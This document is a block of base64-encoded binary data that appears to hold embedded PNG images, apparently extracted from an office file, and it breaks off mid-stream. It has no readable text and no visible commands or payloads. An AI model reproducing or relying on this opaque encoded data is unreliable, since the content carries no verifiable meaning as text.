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 